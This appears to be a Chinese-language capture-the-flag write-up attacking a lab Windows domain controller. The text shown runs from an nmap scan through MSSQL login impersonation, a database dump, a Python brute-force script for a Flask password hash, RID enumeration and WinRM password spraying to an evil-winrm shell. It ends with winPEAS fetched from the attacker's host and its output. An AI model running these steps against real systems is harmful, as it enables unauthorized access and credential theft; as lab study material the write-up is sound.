域Windows Server 2025 BadSuccessor - Active Directory利用
MSSQL 横向:guest → appdev → 拖库 → Flask 哈希离线爆破 WinRM 喷洒:用 nxc 批量试口令,快速定位可用账户 BloodHound + SharpHound:图形化梳理 ACL 与攻击路径 BadSuccessor 漏洞利用:ligolo 打通隧道,bloodyAD 新建机器账户并配置 RBCD,Silver-Ticket 接管域控
首先信息收集
sudo nmap -O -A -Pn -T3 -p- 10.10.11.95
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-16 07:20 UTC
Nmap scan report for ip-10-10-11-95.ap-southeast-1.compute.internal (10.10.11.95)
Host is up (0.025s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2025-11-16T09:34:43+00:00; +2h11m12s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-16T09:32:40
|_Not valid after: 2055-11-16T09:32:40
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 2h11m11s
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 42.04 ms ip-10-10-16-1.ap-southeast-1.compute.internal (10.10.16.1)
2 42.10 ms ip-10-10-11-95.ap-southeast-1.compute.internal (10.10.11.95)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.75 seconds这里是开启了80 和 1433 还有5985 三个端口服务,其中1443是sql server ,而5985则是winrm远程登陆 是http,这里首先已经给出了一个账户密码
kevin / iNa2we6haRj2gaw!所以可以直接尝试连接
impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.10.11.95'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (kevin guest@master)> 但是这里是一个guest 用户,权限比较低,这里进行查询
SQL (kevin guest@master)> SELECT SYSTEM_USER, USER_NAME();
----- -----
guest guest
SQL (kevin guest@master)> SELECT name FROM master.dbo.sysdatabases;
name
-----------------
master
tempdb
model
msdb
financial_planner
SQL (kevin guest@master)> use financial_planner
[-] ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.这里可以发现 financial_planner 使用kevin是没办法访问的,所以去查询所有账户
SQL (kevin guest@master)> SELECT name AS LoginName, type_desc AS AccountType FROM sys.server_principals WHERE type_desc NOT IN ('SERVER_ROLE', 'ASYMMETRIC_KEY', 'CERTIFICATE') ORDER BY name;
LoginName AccountType
--------- -----------
appdev SQL_LOGIN
kevin SQL_LOGIN
sa SQL_LOGIN这里使用nxc
nxc mssql -u kevin -p iNa2we6haRj2gaw! -M enum_impersonate 10.10.11.95 --local-auth
MSSQL 10.10.11.95 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.10.11.95 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
ENUM_IMP... 10.10.11.95 1433 DC01 [+] Users with impersonation rights:
ENUM_IMP... 10.10.11.95 1433 DC01 [*] - appdev然后
SQL (kevin guest@master)> EXECUTE AS LOGIN = 'appdev';
SQL (appdev appdev@master)>这个时候就发现可以进行冒充,那么就可以接着查询了
SQL (appdev appdev@master)> SELECT name FROM master.dbo.sysdatabases;
name
-----------------
master
tempdb
model
msdb
financial_planner
SQL (appdev appdev@master)> use financial_planner
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
[*] INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev appdev@financial_planner)> SELECT name FROM sys.tables;
name
-----------
users
incomes
expenses
allocations
analytics
visits发现有用户,那么就可以直接进行提取用户
SQL (appdev appdev@financial_planner)> SELECT * FROM users;
id full_name username email password_hash is_admin created_at
---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ----------
1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03 这里就可以尝试破解了,这里我尝试使用hashcat和john破解不出来,后面看了一下是Werkzeug(Flask)hash,于是写了一个python脚本
cat sha.py
#!/usr/bin/env python3
import hashlib
from multiprocessing import Pool, cpu_count
def check_password(password):
try:
computed = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), salt.encode('utf-8'), iterations)
if computed.hex() == target_hash:
return password
except:
pass
return None
if __name__ == "__main__":
# 哈希参数
salt = "AMtzteQIG7yAbZIa"
iterations = 600000
target_hash = "0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133"
# 加载密码字典
wordlist_path = "rockyou.txt"
print(f"Loading wordlist from {wordlist_path}...")
with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as f:
passwords = [line.strip() for line in f]
print(f"Loaded {len(passwords)} passwords. Starting brute-force with {cpu_count()} processes...")
# 多进程破解
with Pool(processes=cpu_count()) as pool:
for result in pool.imap_unordered(check_password, passwords, chunksize=1000):
if result:
print(f"[+] Password found: {result}")
pool.terminate()
break
else:
print("[-] Password not found in wordlist.")
就破解出来一个密码,但是这里尝试了admin之后当作账户之后发现登陆不上winrm,想起来去获取一些账户信息了
nxc mssql 10.10.11.95 -u kevin -p iNa2we6haRj2gaw! --rid-brute --local-auth
MSSQL 10.10.11.95 1433 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL 10.10.11.95 1433 DC01 [+] DC01\kevin:iNa2we6haRj2gaw!
MSSQL 10.10.11.95 1433 DC01 498: EIGHTEEN\Enterprise Read-only Domain Controllers
MSSQL 10.10.11.95 1433 DC01 500: EIGHTEEN\Administrator
MSSQL 10.10.11.95 1433 DC01 501: EIGHTEEN\Guest
MSSQL 10.10.11.95 1433 DC01 502: EIGHTEEN\krbtgt
MSSQL 10.10.11.95 1433 DC01 512: EIGHTEEN\Domain Admins
MSSQL 10.10.11.95 1433 DC01 513: EIGHTEEN\Domain Users
MSSQL 10.10.11.95 1433 DC01 514: EIGHTEEN\Domain Guests
MSSQL 10.10.11.95 1433 DC01 515: EIGHTEEN\Domain Computers
MSSQL 10.10.11.95 1433 DC01 516: EIGHTEEN\Domain Controllers
MSSQL 10.10.11.95 1433 DC01 517: EIGHTEEN\Cert Publishers
MSSQL 10.10.11.95 1433 DC01 518: EIGHTEEN\Schema Admins
MSSQL 10.10.11.95 1433 DC01 519: EIGHTEEN\Enterprise Admins
MSSQL 10.10.11.95 1433 DC01 520: EIGHTEEN\Group Policy Creator Owners
MSSQL 10.10.11.95 1433 DC01 521: EIGHTEEN\Read-only Domain Controllers
MSSQL 10.10.11.95 1433 DC01 522: EIGHTEEN\Cloneable Domain Controllers
MSSQL 10.10.11.95 1433 DC01 525: EIGHTEEN\Protected Users
MSSQL 10.10.11.95 1433 DC01 526: EIGHTEEN\Key Admins
MSSQL 10.10.11.95 1433 DC01 527: EIGHTEEN\Enterprise Key Admins
MSSQL 10.10.11.95 1433 DC01 528: EIGHTEEN\Forest Trust Accounts
MSSQL 10.10.11.95 1433 DC01 529: EIGHTEEN\External Trust Accounts
MSSQL 10.10.11.95 1433 DC01 553: EIGHTEEN\RAS and IAS Servers
MSSQL 10.10.11.95 1433 DC01 571: EIGHTEEN\Allowed RODC Password Replication Group
MSSQL 10.10.11.95 1433 DC01 572: EIGHTEEN\Denied RODC Password Replication Group
MSSQL 10.10.11.95 1433 DC01 1000: EIGHTEEN\DC01$
MSSQL 10.10.11.95 1433 DC01 1101: EIGHTEEN\DnsAdmins
MSSQL 10.10.11.95 1433 DC01 1102: EIGHTEEN\DnsUpdateProxy
MSSQL 10.10.11.95 1433 DC01 1601: EIGHTEEN\mssqlsvc
MSSQL 10.10.11.95 1433 DC01 1602: EIGHTEEN\SQLServer2005SQLBrowserUser$DC01
MSSQL 10.10.11.95 1433 DC01 1603: EIGHTEEN\HR
MSSQL 10.10.11.95 1433 DC01 1604: EIGHTEEN\IT
MSSQL 10.10.11.95 1433 DC01 1605: EIGHTEEN\Finance
MSSQL 10.10.11.95 1433 DC01 1606: EIGHTEEN\jamie.dunn
MSSQL 10.10.11.95 1433 DC01 1607: EIGHTEEN\jane.smith
MSSQL 10.10.11.95 1433 DC01 1608: EIGHTEEN\alice.jones
MSSQL 10.10.11.95 1433 DC01 1609: EIGHTEEN\adam.scott
MSSQL 10.10.11.95 1433 DC01 1610: EIGHTEEN\bob.brown
MSSQL 10.10.11.95 1433 DC01 1611: EIGHTEEN\carol.white
MSSQL 10.10.11.95 1433 DC01 1612: EIGHTEEN\dave.green这里保存为users.txt 进行枚举,成功拿到了账户
nxc winrm 10.10.11.95 -u users.txt -p iloveyou1
WINRM 10.10.11.95 5985 DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Enterprise Read-only Domain Controllers:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Administrator:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Guest:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\krbtgt:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Domain Admins:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Domain Users:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Domain Guests:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Domain Computers:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Domain Controllers:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Cert Publishers:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Schema Admins:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Enterprise Admins:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Group Policy Creator Owners:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Read-only Domain Controllers:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Cloneable Domain Controllers:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Protected Users:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Key Admins:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Enterprise Key Admins:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Forest Trust Accounts:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\External Trust Accounts:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\RAS and IAS Servers:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Allowed RODC Password Replication Group:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Denied RODC Password Replication Group:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\DC01$:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\DnsAdmins:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\DnsUpdateProxy:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\mssqlsvc:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\SQLServer2005SQLBrowserUser:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\HR:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\IT:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\Finance:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\jamie.dunn:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\jane.smith:iloveyou1
WINRM 10.10.11.95 5985 DC01 [-] EIGHTEEN\alice.jones:iloveyou1
WINRM 10.10.11.95 5985 DC01 [+] EIGHTEEN\adam.scott:iloveyou1 (Pwn3d!)然后就可以进行登陆了
evil-winrm -i 10.10.11.95 -u adam.scott@eighteen.htb -p iloveyou1
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.scott\Documents>首先进行信息收集,这里使用工具 winPEAS.bat ,在本地开启pthon服务,让机器可以下载文件
Invoke-WebRequest -Uri 'http://10.10.16.69:8000/winPEAS.bat' -OutFile "$env:USERPROFILE\Desktop\winPEAS.bat"这里我选择直接下载到桌面,平时绝对不要下载到桌面,然后运行,将结果保存到文件中
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> ./winPEAS.bat > win.txt然后下载收集到的信息
*Evil-WinRM* PS C:\Users\adam.scott\Desktop> download win.txt
Info: Downloading C:\Users\adam.scott\Desktop\win.txt to win.txt
Info: Download successful!查看收集到的信息
0x1B[32m((,.,/((((((((((((((((((((/, */0x1B[97m
0x1B[32m,/*,..*(((((((((((((((((((((((((((((((((,0x1B[97m
0x1B[32m,*/((((((((((((((((((/, 0x1B[92m.*//((//**,0x1B[32m .*((((((*0x1B[97m
0x1B[32m((((((((((((((((* 0x1B[94m*****0x1B[32m,,,/########## 0x1B[32m.(* ,((((((0x1B[97m
0x1B[32m(((((((((((/* 0x1B[94m******************0x1B[32m/####### 0x1B[32m.(. ((((((0x1B[97m
0x1B[32m((((((.0x1B[92m.0x1B[94m******************0x1B[97m/@@@@@/0x1B[94m***0x1B[92m/######0x1B[32m /((((((0x1B[97m
0x1B[32m,,.0x1B[92m.0x1B[94m**********************0x1B[97m@@@@@@@@@@(0x1B[94m***0x1B[92m,####0x1B[32m ../(((((0x1B[97m
0x1B[32m, ,0x1B[92m0x1B[94m**********************0x1B[97m#@@@@@#@@@@0x1B[94m*********0x1B[92m##0x1B[32m((/ /((((0x1B[97m
0x1B[32m..((0x1B[92m(##########0x1B[94m*********0x1B[97m/#@@@@@@@@@/0x1B[94m*************0x1B[32m,,..((((0x1B[97m
0x1B[32m.((0x1B[92m(################(/0x1B[94m******0x1B[97m/@@@@@#0x1B[94m****************0x1B[32m.. /((0x1B[97m
0x1B[32m.(0x1B[92m(########################(/0x1B[94m************************0x1B[32m..*(0x1B[97m
0x1B[32m.(0x1B[92m(#############################(/0x1B[94m********************0x1B[32m.,(0x1B[97m
0x1B[32m.(0x1B[92m(##################################(/0x1B[94m***************0x1B[32m..(0x1B[97m
0x1B[32m.(0x1B[92m(######################################(0x1B[94m************0x1B[32m..(0x1B[97m
0x1B[32m.(0x1B[92m(######(,.***.,(###################(..***(/0x1B[94m*********0x1B[32m..(0x1B[97m
0x1B[32m.(0x1B[92m(######*(#####((##################((######/(0x1B[94m********0x1B[32m..(0x1B[97m
0x1B[32m.(0x1B[92m(##################(/**********(################(0x1B[94m**0x1B[32m...(0x1B[97m
0x1B[32m.((0x1B[92m(####################/*******(###################0x1B[32m.((((0x1B[97m
0x1B[32m.((((0x1B[92m(############################################/0x1B[32m /((0x1B[97m
0x1B[32m..((((0x1B[92m(#########################################(0x1B[32m..(((((.0x1B[97m
0x1B[32m....((((0x1B[92m(#####################################(0x1B[32m .((((((.0x1B[97m
0x1B[32m......((((0x1B[92m(#################################(0x1B[32m .(((((((.0x1B[97m
0x1B[32m(((((((((. ,0x1B[92m(############################(0x1B[32m../(((((((((.0x1B[97m
0x1B[32m(((((((((/, 0x1B[92m,####################(0x1B[32m/..((((((((((.0x1B[97m
0x1B[32m(((((((((/,. 0x1B[92m,*//////*,.0x1B[32m ./(((((((((((.0x1B[97m
0x1B[32m(((((((((((((((((((((((((((/0x1B[97m
by carlospolop
/!\ Advisory: WinPEAS - Windows local Privilege Escalation Awesome Script
0x1B[41mWinPEAS should be used for authorized penetration testing and/or educational purposes only.0x1B[40;97m
0x1B[41mAny misuse of this software will not be the responsibility of the author or of any other collaborator.0x1B[40;97m
0x1B[41mUse it at your own networks and/or with the network owner's permission.0x1B[40;97m
0x1B[32m[*]0x1B[97m BASIC SYSTEM INFO
0x1B[33m[+]0x1B[97m WINDOWS OS
[i] Check for vulnerabilities for the OS version with the applied patches
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#version-exploits
0x1B[33m[+]0x1B[97m DATE and TIME
[i] You may need to adjust your local date/time to exploit some vulnerability
Wed 11/19/2025
12:50 AM
0x1B[33m[+]0x1B[97m Audit Settings
[i] Check what is being logged
0x1B[33m[+]0x1B[97m WEF Settings
[i] Check where are being sent the logs
0x1B[33m[+]0x1B[97m Legacy Microsoft LAPS installed?
[i] Check what is being logged
0x1B[33m[+]0x1B[97m Windows LAPS installed?
[i] Check what is being logged: 0x00 Disabled, 0x01 Backup to Entra, 0x02 Backup to Active Directory
0x1B[33m[+]0x1B[97m LSA protection?
[i] Active if "1"
0x1B[33m[+]0x1B[97m Credential Guard?
[i] Active if "1" or "2"
0x1B[33m[+]0x1B[97m WDigest?
[i] Plain-text creds in memory if "1"
0x1B[33m[+]0x1B[97m Number of cached creds
[i] You need System-rights to extract them
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
CACHEDLOGONSCOUNT REG_SZ 10
0x1B[33m[+]0x1B[97m UAC Settings
[i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
[?] https://book.hacktricks.wiki/en/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.html#very-basic-uac-bypass-full-file-system-access
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
0x1B[33m[+]0x1B[97m Registered Anti-Virus(AV)
Checking for defender whitelisted PATHS
0x1B[33m[+]0x1B[97m PowerShell settings
PowerShell v2 Version:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine
PowerShellVersion REG_SZ 2.0
PowerShell v5 Version:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine
PowerShellVersion REG_SZ 5.1.26100.1882
Transcriptions Settings:
Module logging settings:
Scriptblog logging settings:
PS default transcript history
Checking PS history file
0x1B[33m[+]0x1B[97m MOUNTED DISKS
[i] Maybe you find something interesting
0x1B[33m[+]0x1B[97m ENVIRONMENT
[i] Interesting information?
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\adam.scott\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=DC01
ComSpec=C:\WINDOWS\system32\cmd.exe
CurrentFolder=C:\Users\adam.scott\Desktop\
CurrentLine= 0x1B[33m[+]0x1B[97m ENVIRONMENT
DriverData=C:\Windows\System32\Drivers\DriverData
E=0x1B[
expl=no
LOCALAPPDATA=C:\Users\adam.scott\AppData\Local
long=false
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Program Files\Python312\Scripts\;C:\Program Files\Python312\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Microsoft SQL Server\160\Tools\Binn\;C:\Program Files\Microsoft SQL Server\160\Tools\Binn\;C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\170\Tools\Binn\;C:\Program Files\Microsoft SQL Server\160\DTS\Binn\;C:\Users\adam.scott\AppData\Local\Microsoft\WindowsApps
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.PYW;.CPL
Percentage=1
PercentageTrack=20
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD
PROCESSOR_LEVEL=25
PROCESSOR_REVISION=0101
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Users\adam.scott\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\Microsoft SQL Server\160\Tools\PowerShell\Modules\
PUBLIC=C:\Users\Public
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\Users\ADAM~1.SCO\AppData\Local\Temp
TMP=C:\Users\ADAM~1.SCO\AppData\Local\Temp
USERDNSDOMAIN=eighteen.htb
USERDOMAIN=EIGHTEEN
USERNAME=adam.scott
USERPROFILE=C:\Users\adam.scott
windir=C:\WINDOWS
0x1B[33m[+]0x1B[97m INSTALLED SOFTWARE
[i] Some weird software? Check for vulnerabilities in unknow software installed
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications
Common Files
Common Files
Internet Explorer
Internet Explorer
Microsoft
Microsoft SQL Server
Microsoft SQL Server
Microsoft Visual Studio 10.0
Microsoft.NET
Microsoft.NET
ModifiableWindowsApps
Python312
Reference Assemblies
Reference Assemblies
VMware
Windows Defender
Windows Defender
Windows Defender Advanced Threat Protection
WindowsPowerShell
WindowsPowerShell
InstallLocation REG_SZ C:\Program Files\VMware\VMware Tools\
0x1B[33m[+]0x1B[97m Remote Desktop Credentials Manager
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager
0x1B[33m[+]0x1B[97m WSUS
[i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#wsus
0x1B[33m[+]0x1B[97m RUNNING PROCESSES
[i] Something unexpected is running? Check for vulnerabilities
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#running-processes
[i] Checking file permissions of running processes (File backdooring - maybe the same files start automatically when Administrator logs in)
[i] Checking directory permissions of running processes (DLL injection)
0x1B[33m[+]0x1B[97m RUN AT STARTUP
[i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#run-at-startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\desktop.ini BUILTIN\Administrators:(F)
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini BUILTIN\Administrators:(F)
Folder: \
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows\.NET Framework
.NET Framework NGEN v4.0.30319 N/A Ready
.NET Framework NGEN v4.0.30319 64 N/A Ready
Folder: \Microsoft\Windows\Active Directory Rights Management Services Client
AD RMS Rights Policy Template Management N/A Ready
Folder: \Microsoft\Windows\AppID
Folder: \Microsoft\Windows\Application Experience
SdbinstMergeDbTask N/A Ready
Folder: \Microsoft\Windows\Chkdsk
ProactiveScan N/A Ready
SyspartRepair N/A Ready
Folder: \Microsoft\Windows\Customer Experience Improvement Program
Consolidator 11/19/2025 6:00:00 AM Ready
Folder: \Microsoft\Windows\Data Integrity Scan
Data Integrity Check And Scan 11/19/2025 11:40:13 PM Ready
Data Integrity Scan N/A Ready
Data Integrity Scan for Crash Recovery N/A Ready
Folder: \Microsoft\Windows\Defrag
ScheduledDefrag N/A Ready
Folder: \Microsoft\Windows\Device Information
Device 11/19/2025 4:13:59 AM Ready
Device User N/A Ready
Folder: \Microsoft\Windows\ExploitGuard
ExploitGuard MDM policy Refresh N/A Ready
Folder: \Microsoft\Windows\Flighting
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows\Flighting\FeatureConfig
ReconcileConfigs N/A Ready
ReconcileFeatures N/A Ready
UsageDataFlushing N/A Ready
UsageDataReceiver N/A Ready
UsageDataReporting N/A Ready
Folder: \Microsoft\Windows\Flighting\OneSettings
RefreshCache 11/19/2025 3:10:04 AM Ready
Folder: \Microsoft\Windows\Hotpatch
Monitoring 11/19/2025 3:19:36 AM Ready
Folder: \Microsoft\Windows\MUI
LPRemove N/A Ready
Folder: \Microsoft\Windows\PLA
Folder: \Microsoft\Windows\Plug and Play
Device Install Group Policy N/A Ready
Device Install Reboot Required N/A Ready
Sysprep Generalize Drivers N/A Ready
Folder: \Microsoft\Windows\ReFsDedupSvc
Initialization N/A Ready
Folder: \Microsoft\Windows\Server Manager
CleanupOldPerfLogs N/A Ready
Folder: \Microsoft\Windows\Servicing
StartComponentCleanup N/A Ready
Folder: \Microsoft\Windows\Shell
CreateObjectTask N/A Ready
Folder: \Microsoft\Windows\Software Inventory Logging
Configuration N/A Ready
Folder: \Microsoft\Windows\SpacePort
SpaceAgentTask N/A Ready
SpaceManagerTask N/A Ready
Folder: \Microsoft\Windows\StateRepository
MaintenanceTasks N/A Ready
Folder: \Microsoft\Windows\Storage Tiers Management
Storage Tiers Management Initialization N/A Ready
Folder: \Microsoft\Windows\TextServicesFramework
MsCtfMonitor N/A Ready
Folder: \Microsoft\Windows\Time Synchronization
SynchronizeTime N/A Ready
Folder: \Microsoft\Windows\Time Zone
SynchronizeTimeZone N/A Ready
Folder: \Microsoft\Windows\Windows Error Reporting
QueueReporting 11/19/2025 4:45:22 AM Ready
Folder: \Microsoft\Windows\Windows Filtering Platform
BfeOnServiceStartTypeChange N/A Ready
Folder: \Microsoft\Windows\WindowsUpdate
Scheduled Start N/A Ready
Folder: \Microsoft\Windows\Wininet
CacheTask N/A Ready
0x1B[33m[+]0x1B[97m AlwaysInstallElevated?
[i] If '1' then you can install a .msi file with admin privileges ;)
[?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#alwaysinstallelevated-1
0x1B[32m[*]0x1B[97m NETWORK
0x1B[33m[+]0x1B[97m CURRENT SHARES
0x1B[33m[+]0x1B[97m INTERFACES
Windows IP Configuration
Host Name . . . . . . . . . . . . : DC01
Primary Dns Suffix . . . . . . . : eighteen.htb
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : eighteen.htb
htb
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : htb
Description . . . . . . . . . . . : vmxnet3 Ethernet Adapter
Physical Address. . . . . . . . . : 00-50-56-B9-7C-1E
DHCP Enabled. . . . . . . . . . . : No
Autoconfiguration Enabled . . . . : Yes
IPv6 Address. . . . . . . . . . . : dead:beef::d2e0:49f1:98bb:efc8(Preferred)
Link-local IPv6 Address . . . . . : fe80::ce16:4869:d1d:d08c%3(Preferred)
IPv4 Address. . . . . . . . . . . : 10.10.11.95(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:2397%3
10.10.10.2
DHCPv6 IAID . . . . . . . . . . . : 117461078
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-30-AF-30-4B-00-50-56-B9-7C-1E
DNS Servers . . . . . . . . . . . : ::1
127.0.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled
Connection-specific DNS Suffix Search List :
htb
0x1B[33m[+]0x1B[97m USED PORTS
[i] Check for services restricted from the outside
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 948
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 948
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING 4088
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 816
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 2440
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
